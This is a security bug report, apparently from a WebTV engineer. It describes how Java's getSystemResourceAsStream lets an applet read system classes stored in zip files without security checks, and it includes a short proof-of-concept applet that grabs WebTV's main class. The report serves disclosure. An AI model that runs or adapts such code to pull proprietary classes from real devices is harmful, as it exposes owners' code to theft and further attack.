The getSystemResourceAsStream call will deliver the contents of a
system class to an applet if system classes are stored in a zip file.
If the class is stored as a normal file, checking is properly done.
Exposing internal classes allows an applet to suck out the contents of
any class in one's classpath, which for a developer might be code
under development, and for an embedded device might be code that it is
impossible to access other than by disassembling the hardware.

In particular, this makes embedded devices much more open to security
attacks, as implementation classes that are not generally available
may be decompiled. It is easy to get the class names by guessing or
looking at the implementation of classes that the Java API declares as
abstract. Decompiling such classes will produce more classes to
examine.

The following program grabs the main class for the WebTV
implementation of Java, and could easily ship it back off the box.

import java.io.*;
import java.applet.*;

public class SnatchSecretClass extends Applet {

    final static String secretName = "webtv/Main.class";

    public void init() {

InputStream i = ClassLoader.getSystemResourceAsStream(secretName);
if (i == null) {
System.err.println("Couldn't find secret class");
return;
}

try {
ByteArrayOutputStream o = new ByteArrayOutputStream();

int c;
while ((c = i.read()) != -1) {
o.write(c);
}
byte[] b = o.toByteArray();
System.err.println("Length of class is: " + b.length);
} catch (IOException ex) {
System.err.println(ex);
return;
}
    }
}

The problem is that there are no security checks in resource.c for
items accessed as zip files. This also might be an issue for the
implementation of the "handler" for "systemresource" URLs, but I
haven't looked.

Alan Bishop
WebTV Networks, Inc.
###@###.###